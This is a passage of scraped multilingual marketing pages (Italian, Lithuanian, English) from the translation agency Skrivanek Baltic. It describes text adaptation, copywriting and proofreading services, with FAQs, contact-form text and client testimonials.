e situazioni quotidiane. COPYWRITING DI TESTI DI MARKETING MULTILINGUE Le aziende grandi e piccole che operano in diversi Paesi lavorano instancabilmente e pensano alla comunicazione globale e alla voce del marchio della loro azienda. Le società di comunicazione e linguistiche, esperte e preparate nelle diverse forme di comunicazione nei vari Paesi, forniscono una grande assistenza in questo compito. Spesso i manuali e le linee guida di comunicazione vengono creati in stretta collaborazione con il cliente e i testi vengono creati ex novo, ma i marchi possono anche scegliere di adattare i contenuti esistenti al pubblico di riferimento. Non siete sicuri che i vostri testi esistenti siano sufficientemente efficaci per raggiungere i lettori? I copywriter di Skrivanek in Lettonia, Estonia, Lituania, Polonia, Germania e altri paesi europei e del mondo vi aiuteranno a superare la barriera linguistica e a farvi ascoltare. Ricordate che ogni prodotto e situazione è unico e deve essere personalizzato per fornire la migliore soluzione possibile. Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polacco. Il 99% dei clienti riceve un’offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole --- > Išbandykite Skrivanek tekstų adaptacija ir copywriting. Pakeiskite savo turinį, sužavėkite auditoriją. Jūsų žodžiai, mūsų amatas. - Published: 2024-05-14 - Modified: 2024-06-17 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional TEKSTŲ ADAPTACIJA Mūsų komanda pritaikys tekstus, kurie būtų lengviau suprantami konkrečiai pasirinktai tiksliniai auditorijai, kreipdama dėmesį į atitinkamą kultūrinę aplinką ar visuomenės grupę. Dažniausiai šį priėjimą naudojame dirbdami su reklama ir kūrybiniais tekstais. Susisiekite su mumis KŪRYBINIŲ TEKSTŲ KŪRIMAS (COPYWRITING) Versdami ir kurdami kūrybinius tekstus, ypatingą dėmesį skiriame kalbėjimo formos pasirinkimui, užrašymui, deminutyvų naudojimui. Užtikriname, kad sukurtas tekstas nebūtų suvokiamas atskirai nuo vizualių ar garso elementų ir jie visi kartu sukurtų harmoningą pasakojimą. Sužinoti daugiau TEKSTŲ GRAMATINIS IR STILISTINIS TOBULINIMAS Siūlome teksto korektūros arba stilistinius, tobulinimo, vertimo palyginimo su originalu ir redagavimo paslaugas ir tiems tekstams, kurie nėra paruošti ar išversti pas mus. Šias paslaugas užtikrina tik tie specialistai, kuriems atitinkama tikslinė kalba yra gimtoji. Sužinoti daugiau DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Tais atvejais, kai išverstą galutinį rezultatą ketinama naudoti, pavyzdžiui, rinkodaros ar reklamos tikslais, neužtenka jį tiksliai išversti – tekstą dažnai reikia lokalizuoti, pakeisti idiomas ar kitus vaizdingus posakius, kad jis būtų lengvai suprantamas tikslinės kalbos vartotojams. Tokiais atvejais tekstai pritaikomi taip, kad visiškai atitiktų tikslinės auditorijos reikalavimus. Jei reikia, garantuojame, kad mūsų išverstas dokumentas atrodys lygiai taip pat, kaip ir originalas, arba suformatuosime jį pagal kliento reikalavimus, pasitelkę savo maketavimo (DTP) komandą. Kiek įmanoma, dirbame su originaliais dokumentais elektroniniu formatu, nekeisdami jų stiliaus ir formatavimo. Taip, individualiems asmenims nurodome kainą, į kurią įskaičiuotas PVM. Verslo klientams, remiantis visuotinai pripažinta rinkos praktika, paslaugų kaina nurodoma be PVM. RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- > Išbandykite Skrivanek tekstų rašymo paslaugas. Pakeiskite savo turinį, sužavėkite auditoriją. Jūsų žodžiai, mūsų amatas. - Published: 2024-05-14 - Modified: 2024-10-21 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ REKLAMŲ IR ĮVAIRIAKALBĖS RINKODAROS TEKSTŲ KŪRIMAS (COPYWRITING) Mes gerai žinome, kad žmonės sąmoningai nesirenka skaityti reklamų -– jie skaito ir klausosi to, kas juos tikrai domina, ir tik kartais tai gali būti reklama. Ar esate pagalvoję, kaip kalbų įmonės gali jums padėti būti tikrai išgirstiems perpildytoje informacijos erdvėje? „Skrivanek“ kūrybinių tekstų autoriai dirba glaustai bendradarbiaudami su klientu ir nekuria teksto iš oro, o kruopščiai sužino apie jūsų produkto niuansus. Taip pat ir puikūs rašymo gebėjimai nėra vienintelis dalykas, kas būtina autoriams, kad padėtų mūsų klientams augti tarptautiniu mastu. Kuriant ir pritaikant tekstus užsienio rinkoms, autoriaus uždavinys yra išsaugoti pasakojimo išskirtinumą ir toną, atsižvelgti į auditorijos kultūrinius skirtumus ir papročius, taip pat žinoti nerašytas komunikacijos ir etiketo taisykles. Jei ieškote kalbų paslaugas teikiančios įmonės, kuri sukurtų tikrai patrauklius reklamos tekstus ir pasirūpintų daugiakalbiu jūsų svetainės turiniu, kad pasiektumėte kuo daugiau potencialių klientų visame pasaulyje, esate tinkamoje vietoje. REKLAMŲ IR ĮVAIRIAKALBĖS RINKODAROS TEKSTŲ REIKŠMĖ JŪSŲ ĮMONĖS AUGIMUI Darbas su tekstais yra kiekvienos įmonės rinkodaros skyriaus vienas iš svarbiausių uždavinių, taip pat ir jūsų! Taikliai ir teisingai parinkti žodžiai turi didelę galią daryti įtaką ar kviesti naudotis jūsų klientus. Tai yra bet kurios rinkodaros kampanijos sėkmės raktas. Rinkodaros tekstai yra visų tipų tekstinės medžiagos, kurias jūsų įmonė gali naudoti pardavimų veiklai ir produktų ir paslaugų reklamai. Tai yra tiek spausdinta medžiaga, prezentacijos, el. pašto šablonai, tiek lengvai perkuriamas daugiakalbis turinys jūsų internetinei svetainei, taip pat ir įmonės garsiniai ir vaizdo įrašų tekstai. Darbas su tekstu yra kaip nuoširdus pokalbis su geriausiu draugu – klientu, kuris įkvepia. Todėl tam, kad sukurtų veiksmingą ir gerai parinktą reklaminį šūkį, tekstų autorius turi labai gerai pažinoti savo skaitytoją, žinoti jo interesus ir papročius, taip pat ir jo slapčiausias svajones. O adaptuojant ar lokalizuojant jau anksčiau paruoštą internetinės svetainės turinį, reikia tirti auditoriją pasirinkto tikslo rinkoje ar šalyje. Labai svarbu laiku atlikti „Google“ raktinių žodžių tyrimą, kad mes jau iš pat pradžių kalbėtume ta kalba, kuria potencialus pirkėjas ieškos jūsų produkto ar paslaugos konkrečioje šalyje. IŠSKIRTINIS AUTORIAUS TEKSTAS IR ĮVAIRIAKALBIO TURINIO RINKODARA Koks skirtumas tarp išskirtinio autoriaus teksto sukūrimo ir įvairiakalbio turinio rinkodaros? Turinio rinkodara yra visas turinys, kurį jūsų įmonė nuosekliai kuria ir skelbia internete, kad pagerintų įmonės poziciją paieškos sistemų rezultatuose, taip pat skatindami ir netiesioginį pardavimą. Paprastai tai būna tinklaraščiai apie jūsų specializacijos sritį, pasakojimai apie jūsų patirtį, pramoginė ar mokomoji medžiaga. Kodėl tai svarbu? Atsakymas yra paprastas: -kad sukurtumėte ilgalaikius santykius su savo klientais, kad jiems būtų įdomu jus sekti ir su jumis kurti dialogą socialiniuose tinkluose, skaityti ir dalintis jūsų tinklaraščiu, pasakotų apie jus savo draugams. Kaip jums gali padėti „Skrivanek“? Mes kalbame daugiau nei 110 jūsų potencialių klientų kalbų. Pasiekti norimą tikslinę auditoriją bet kurioje pasaulio vietoje dar niekada nebuvo taip paprasta, jums telieka išsirinkti šalį ar regioną, o „Skrivanek“ tekstų autoriai pasirūpins visu kitu. Mūsų specializacija – tarpkultūrinė komunikacija. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti REKLAMŲ IR ĮVAIRIAKALBĖS RINKODAROS TEKSTŲ KŪRIMAS (COPYWRITING) Mes gerai žinome, kad žmonės sąmoningai nesirenka skaityti reklamų -– jie skaito ir klausosi to, kas juos tikrai domina, ir tik kartais tai gali būti reklama. Ar esate pagalvoję, kaip kalbų įmonės gali jums padėti būti tikrai išgirstiems perpildytoje informacijos erdvėje? „Skrivanek“ kūrybinių tekstų autoriai dirba glaustai bendradarbiaudami su klientu ir nekuria teksto iš oro, o kruopščiai sužino apie jūsų produkto niuansus. Taip pat ir puikūs rašymo gebėjimai nėra vienintelis dalykas, kas būtina autoriams, kad padėtų mūsų klientams augti tarptautiniu mastu. Kuriant ir pritaikant tekstus užsienio rinkoms, autoriaus uždavinys yra išsaugoti pasakojimo išskirtinumą ir toną, atsižvelgti į auditorijos kultūrinius skirtumus ir papročius, taip pat žinoti nerašytas komunikacijos ir etiketo taisykles. Jei ieškote kalbų paslaugas teikiančios įmonės, kuri sukurtų tikrai patrauklius reklamos tekstus ir pasirūpintų daugiakalbiu jūsų svetainės turiniu, kad pasiektumėte kuo daugiau potencialių klientų visame pasaulyje, esate tinkamoje vietoje. REKLAMŲ IR ĮVAIRIAKALBĖS RINKODAROS TEKSTŲ REIKŠMĖ JŪSŲ ĮMONĖS AUGIMUI Darbas su tekstais yra kiekvienos įmonės rinkodaros skyriaus vienas iš svarbiausių uždavinių, taip pat ir jūsų! Taikliai ir teisingai parinkti žodžiai turi didelę galią daryti įtaką ar kviesti naudotis jūsų klientus. Tai yra bet kurios rinkodaros kampanijos sėkmės raktas. Rinkodaros tekstai yra visų tipų tekstinės medžiagos, kurias jūsų įmonė gali naudoti pardavimų veiklai ir produktų ir paslaugų reklamai. Tai yra tiek spausdinta medžiaga, prezentacijos, el. pašto šablonai, tiek lengvai perkuriamas daugiakalbis turinys jūsų internetinei svetainei, taip pat ir įmonės garsiniai ir vaizdo įrašų tekstai. Darbas su tekstu yra kaip nuoširdus pokalbis su geriausiu draugu – klientu, kuris įkvepia. Todėl tam, kad sukurtų veiksmingą ir gerai parinktą reklaminį šūkį, tekstų autorius turi labai gerai pažinoti savo skaitytoją, žinoti jo interesus ir papročius, taip pat ir jo slapčiausias svajones. O adaptuojant ar lokalizuojant jau anksčiau paruoštą internetinės svetainės turinį, reikia tirti auditoriją pasirinkto tikslo rinkoje ar šalyje. Labai svarbu laiku atlikti „Google“ raktinių žodžių tyrimą, kad mes jau iš pat pradžių kalbėtume ta kalba, kuria potencialus pirkėjas ieškos jūsų produkto ar paslaugos konkrečioje šalyje. IŠSKIRTINIS AUTORIAUS TEKSTAS IR ĮVAIRIAKALBIO TURINIO RINKODARA Koks skirtumas tarp išskirtinio autoriaus teksto sukūrimo ir įvairiakalbio turinio rinkodaros? Turinio rinkodara yra visas turinys, kurį jūsų įmonė nuosekliai kuria ir skelbia internete, kad pagerintų įmonės poziciją paieškos sistemų rezultatuose, taip pat skatindami ir netiesioginį pardavimą. Paprastai tai būna tinklaraščiai apie jūsų specializacijos sritį, pasakojimai apie jūsų patirtį, pramoginė ar mokomoji medžiaga. Kodėl tai svarbu? Atsakymas yra paprastas: -kad sukurtumėte ilgalaikius santykius su savo klientais, kad jiems būtų įdomu jus sekti ir su jumis kurti dialogą socialiniuose tinkluose, skaityti ir dalintis jūsų tinklaraščiu, pasakotų apie jus savo draugams. Kaip jums gali padėti „Skrivanek“? Mes kalbame daugiau nei 110 jūsų potencialių klientų kalbų. Pasiekti norimą tikslinę auditoriją bet kurioje pasaulio vietoje dar niekada nebuvo taip paprasta, jums telieka išsirinkti šalį ar regioną, o „Skrivanek“ tekstų autoriai pasirūpins visu kitu. Mūsų specializacija – tarpkultūrinė komunikacija. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti KADA REIKIA GALVOTI APIE AUTORIAUS TEKSTO KŪRIMĄ? Atsakymas yra paprastas – visada! Tiesą pasakius, darbas su tekstu niekada nesibaigia – tam, kad pasiektumėte įmonės verslo tikslus ar padidintumėte pardavimų apimtis, reikia nuolat rašyti ir rašyti naujus tekstus. Kad turėtumėte didesnį pelną, reikia ieškoti naujų rinkų, dirbti su naujų produktų kūrimu, bet tam reikalingi aukštos kokybės rinkodaros tekstai. Taip pat darbas su jau esamu turiniu niekada nesustoja, kadangi jį vis reikia taisyti ir pritaikyti prie paieškos sistemų parametrų. Laikui bėgant, keičiasi ir tikslinės auditorijos elgesys, žmonės renkasi naudoti kitus socialinius tinklus, sekti naujus nuomonės formuotojus, tad jūsų pirkėjų vertybės taip pat gali labai keistis. „Skrivanek“ tekstų autoriai kruopščiai seka naujausias rinkodaros ir reklamos tendencijas, kadangi įvairiose valstybėse esančios ir potencialios tikslinės auditorijos realybė skirtingai vystosi ir mainosi, taip pat turi kitų rūpesčių ir svajonių. Neabejotinai reklamų kultūra JAV skiriasi nuo Japonijos reklamų aplinkos ir tradicijų, taip pat ir pirkėjai Europoje kitais būdais, nei žmonės Azijoje, ieškos informacijos apie produktus, nes paprastai esame linkę ieškoti sprendimų savo kasdieniams poreikiams ir esamai situacijai. DAUGIAKALBIŲ RINKODAROS TEKSTŲ KŪRIMAS Didesnės ir mažesnės įmonės, kurios užsiima verslu įvairiose valstybėse, nuolat dirba ir galvoja apie įmonės globalinės komunikacijos ir prekių ženklo balsą. Šią užduotį įvykdyti puikiai padeda komunikacijos ir kalbų įmonės, kurios numato ir gerai žino apie šalių skirtingas komunikacijas. Neretai komunikacijos vadovėliai ir gairės kuriamos glaustai bendradarbiaujant su klientu, o ir tekstai kuriami iš pradžių, tačiau dažnai prekių ženklai renkasi jau esamo turinio pritaikymą tikslinei auditorijai. Nežinote, ar jūsų esami tekstai bus pakankamai veiksmingi, kad sudomintų skaitytojus? „Skrivanek“ tekstų autoriai Latvijoje, Estijoje, Lietuvoje, Lenkijoje, Vokietijoje ir kitose Europos ir pasaulio valstybėse padės įveikti kalbos barjerą ir būti išgirstiems. Nepamirškite, kad kiekvienas produktas ir situacija yra išskirtinė ir reikia atrasti kuo labiau pritaikytą sprendimą. PIRMIEJI ŽINGSNIAI KURIANT AUTORIAUS TEKSTĄ – NUO KUO PRADĖTI? Jeigu esate prisiėmę atsakomybę rašyti tekstą, tačiau nežinote, ką tiksliai rašyti, „Skrivanek“ rekomenduoja sau atsakyti į šiuos klausimus: Kokią jūsų klientų problemą padės išspręsti jūsų produktas ar paslauga? Jūsų nuomone, kokie yra jūsų produkto ar paslaugos pranašumai? Kuo jūs geresni už konkurentus? Kas yra jūsų tikslinė auditorija? Kas yra jūsų idealusis klientas – jį apibūdindami, pagalvokite apie jo amžių, lytį, pomėgius ir kt. Kokie žmonės ar įmonės jau yra naudojęsi jūsų produktais ar paslaugomis? Ką apie juos žinote? Ko jūsų dabartiniai klientai tikisi iš jūsų? Kaip jūsų produktai ar paslaugos pasiekia klientus? Ar kreipsitės į jau esančią auditoriją, ar vis dėlto stengsitės pasiekti naujus klientus? Kokį tikslą jūsų norėtumėte pasiekti šiuo tekstu? Kokie yra apskritai jūsų įmonės rinkodaros tikslai? Kokį tekstą rašysite – produkto aprašymą, pardavimo el. laišką, įrašą socialiniams tinklams, tinklaraštį, naują internetinės svetainės nukreipimo puslapį? Gebėjimas gerai rašyti tekstus ateina su laiku, reikia tuo rūpintis ir treniruotis, kaip su bet kuriuo kitu gebėjimu. PIRMIEJI ŽINGSNIAI KURIANT AUTORIAUS TEKSTĄ – NUO KUO PRADĖTI? Jeigu esate prisiėmę atsakomybę rašyti tekstą, tačiau nežinote, ką tiksliai rašyti, „Skrivanek“ rekomenduoja sau atsakyti į šiuos klausimus: Kokią jūsų klientų problemą padės išspręsti jūsų produktas ar paslauga? Jūsų nuomone, kokie yra jūsų produkto ar paslaugos pranašumai? Kuo jūs geresni už konkurentus? Kas yra jūsų tikslinė auditorija? Kas yra jūsų idealusis klientas – jį apibūdindami, pagalvokite apie jo amžių, lytį, pomėgius ir kt. Kokie žmonės ar įmonės jau yra naudojęsi jūsų produktais ar paslaugomis? Ką apie juos žinote? Ko jūsų dabartiniai klientai tikisi iš jūsų? Kaip jūsų produktai ar paslaugos pasiekia klientus? Ar kreipsitės į jau esančią auditoriją, ar vis dėlto stengsitės pasiekti naujus klientus? Kokį tikslą jūsų norėtumėte pasiekti šiuo tekstu? Kokie yra apskritai jūsų įmonės rinkodaros tikslai? Kokį tekstą rašysite – produkto aprašymą, pardavimo el. laišką, įrašą socialiniams tinklams, tinklaraštį, naują internetinės svetainės nukreipimo puslapį? Gebėjimas gerai rašyti tekstus ateina su laiku, reikia tuo rūpintis ir treniruotis, kaip su bet kuriuo kitu gebėjimu. KADA REIKIA GALVOTI APIE AUTORIAUS TEKSTO KŪRIMĄ? Atsakymas yra paprastas – visada! Tiesą pasakius, darbas su tekstu niekada nesibaigia – tam, kad pasiektumėte įmonės verslo tikslus ar padidintumėte pardavimų apimtis, reikia nuolat rašyti ir rašyti naujus tekstus. Kad turėtumėte didesnį pelną, reikia ieškoti naujų rinkų, dirbti su naujų produktų kūrimu, bet tam reikalingi aukštos kokybės rinkodaros tekstai. Taip pat darbas su jau esamu turiniu niekada nesustoja, kadangi jį vis reikia taisyti ir pritaikyti prie paieškos sistemų parametrų. Laikui bėgant, keičiasi ir tikslinės auditorijos elgesys, žmonės renkasi naudoti kitus socialinius tinklus, sekti naujus nuomonės formuotojus, tad jūsų pirkėjų vertybės taip pat gali labai keistis. „Skrivanek“ tekstų autoriai kruopščiai seka naujausias rinkodaros ir reklamos tendencijas, kadangi įvairiose valstybėse esančios ir potencialios tikslinės auditorijos realybė skirtingai vystosi ir mainosi, taip pat turi kitų rūpesčių ir svajonių. Neabejotinai reklamų kultūra JAV skiriasi nuo Japonijos reklamų aplinkos ir tradicijų, taip pat ir pirkėjai Europoje kitais būdais, nei žmonės Azijoje, ieškos informacijos apie produktus, nes paprastai esame linkę ieškoti sprendimų savo kasdieniams poreikiams ir esamai situacijai. DAUGIAKALBIŲ RINKODAROS TEKSTŲ KŪRIMAS Didesnės ir mažesnės įmonės, kurios užsiima verslu įvairiose valstybėse, nuolat dirba ir galvoja apie įmonės globalinės komunikacijos ir prekių ženklo balsą. Šią užduotį įvykdyti puikiai padeda komunikacijos ir kalbų įmonės, kurios numato ir gerai žino apie šalių skirtingas komunikacijas. Neretai komunikacijos vadovėliai ir gairės kuriamos glaustai bendradarbiaujant su klientu, o ir tekstai kuriami iš pradžių, tačiau dažnai prekių ženklai renkasi jau esamo turinio pritaikymą tikslinei auditorijai. Nežinote, ar jūsų esami tekstai bus pakankamai veiksmingi, kad sudomintų skaitytojus? „Skrivanek“ tekstų autoriai Latvijoje, Estijoje, Lietuvoje, Lenkijoje, Vokietijoje ir kitose Europos ir pasaulio valstybėse padės įveikti kalbos barjerą ir būti išgirstiems. Nepamirškite, kad kiekvienas produktas ir situacija yra išskirtinė ir reikia atrasti kuo labiau pritaikytą sprendimą. ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantija Mūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis 99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. --- > Patobulinkite savo turinį naudodamiesi mūsų tekstų taisymo ir stilistikos paslaugomis. Gimtakalbiai kalbėtojai užtikrina aiškumą ir tikslumą. 🚀 Susisiekite su Skrivanek! - Published: 2024-05-14 - Modified: 2024-10-21 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional Mūsų kalbų specialistai jums padės pagerinti teksto stilistinę ar gramatinę kokybę, patikrinti tekste vartojamą terminologiją arba taip pat palyginti vertimą su originalu, kad užtikrintų jo tikslumą. Padės ir tais atvejais, kai tekstas neišverstas ar neparuoštas pas mus. Kiekvienos kalbos patikrinimą atliks lingvistas, kuriam atitinkama tikslinė kalba yra gimtoji. Korektūra arba teksto stilistinis taisymas – tai gramatinė ir stilistinė teksto patikra, kurios tikslas – užtikrinti, kad vertimas būtų tinkamas ir atitiktų numatytą paskirtį, taip pat patikrinti, ar laikomasi tos srities tradicijų. Korektūrą atlieka kalbų specialistas, kuriam atitinkama kalba yra gimtoji, siekiant užtikrinti vertimo kokybę, tikslumą ir profesionalumą. Korektūra arba teksto stilistinis taisymas – tai gramatinė ir stilistinė teksto patikra, kurios tikslas – užtikrinti, kad vertimas būtų tinkamas ir atitiktų numatytą paskirtį, taip pat patikrinti, ar laikomasi tos srities tradicijų. Korektūrą atlieka kalbų specialistas, kuriam atitinkama kalba yra gimtoji, siekiant užtikrinti vertimo kokybę, tikslumą ir profesionalumą. Redagavimas arba terminologijos patikrinimas tinka tada, jei būtina patikrinti vertimą pagal kokius nors specifinius srities poreikius. Vertime vartotus terminus patikrina redaktorius, kuris išmano tą konkrečią sritį ir kuris moka atitinkamas užsienio ir gimtąją kalbas. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Teikiame vertimo žodžiu ir raštu paslaugas, taip pat įvairius kalbinius sprendimus. Teikiame vertimo žodžiu paslaugas konferencijose, verslo susitikimuose, taip pat mūsų vertėjai žodžiu padeda vykstant posėdžiams. Vertimas raštu apima specializuotus ir bendrus įvairių sričių vertimus. Taip pat teikiame lokalizavimo, teksto adaptavimo ir kūrimo, maketavimo (DTP) ir kalbų mokymo paslaugas. Taip, individualiems asmenims nurodome kainą, į kurią įskaičiuotas PVM. Verslo klientams, remiantis visuotinai pripažinta rinkos praktika, paslaugų kaina nurodoma be PVM. Nors daugiausia užklausų gauname iš įmonių, mielai bendradarbiaujame ir su privačiais asmenimis. Dažniausiai privačius asmenis domina notaro patvirtinti vertimai, kalbos mokymai bei stovyklos vaikams ir jaunimui. Mūsų komanda padės bet kokioje situacijoje. ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Experience Skrivanek’s text adaptation and copywriting services. Transform your content, captivate your audience. Your words, our craft. - Published: 2024-05-13 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional TEXT ADAPTATION Our team will adapt the text to make it easier to understand for the specific target audience you have chosen, considering the subtleties of the relevant culture or social group. This approach is most often used with advertising and creative texts. Contact us CREATIVE COPYWRITING When translating and producing creative texts, we pay particular attention to the choice of the form of address, its notation, and the use of diminutives. We make sure that a creative text cannot be perceived in isolation from its visual or sound elements, and that they all work in tandem to create a harmonious message. Read more GRAMMATICAL AND STYLISTIC IMPROVEMENT OF TEXTS We offer proofreading, stylistic improvement, comparison of the translation with the original and editing services, also for texts that have not been prepared or translated by us. These services are provided by native speakers of the target language only. Read more FREQUENTLY ASKED QUESTIONS When the text is intended for marketing or advertising purposes, a simple translation will not cut it – more often than not the text has to be localised and idioms and other expressions have to be changed to ensure that the meaning can be easily picked up by the target language users. This is when texts are adapted to fully conform to the requirements of the target language audience. Whenever possible, we work with the original documents electronically, without making any changes to style or formatting. When necessary, we guarantee that the translation of the client’s document looks just like the original or format it according to the client’s instructions with the help of our DTP team. Yes, all prices for natural persons are inclusive of VAT. For corporate clients, prices are shown excluding VAT. Under the regulation of the EU we do not charge VAT on services provided to VAT-registered businesses in other member countries. According to the reverse-charge regulation tax liability transfers to the recipient of services. MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ MILLION Words translated in 2024 0+ Language specialists 0 ISO certificates --- > Enhance your content with our proofreading and stylistic services. Native speakers ensure clarity and precision. 🚀 Contact Skrivanek! - Published: 2024-05-13 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional We offer proofreading, stylistic improvement, comparison of the translation with the original and editing services, also for texts that have not been prepared or translated by us. These services are provided by native speakers of the target language only. Proofreading or stylistic improvement of a text is a grammatical and stylistic check that is carried out to ensure that the translation is adequate and suitable for its intended purpose, and to check that the traditions of the sector have been observed. Proofreading is carried out by a native speaker, guaranteeing the quality, accuracy and professionalism of the translation. A detailed comparison of the translation with the original is carried out in order to check the accuracy and consistency of the translation with the original and to make corrections where necessary. The linguist will consult handbooks, terminology dictionaries and other reference materials to ensure the highest quality result. The comparison leads to a translation that is fully equivalent to the original, readable, grammatically and terminologically correct, and fit for purpose. Editing or terminology checking is useful when you need to check a translation intended for a specific sector. The terms used in the translation are checked by an editor who is familiar with the specific sector and who is a native speaker of the foreign language concerned. LOOKING FOR GRAMMATICAL AND STYLISTIC IMPROVEMENT OF TEXTS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! FREQUENTLY ASKED QUESTIONS We provide great variety of language solutions – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Yes, all prices for natural persons are inclusive of VAT. For corporate clients, prices are shown excluding VAT. Under the regulation of the EU we do not charge VAT on services provided to VAT-registered businesses in other member countries. According to the reverse-charge regulation tax liability transfers to the recipient of services. Although most of our translation 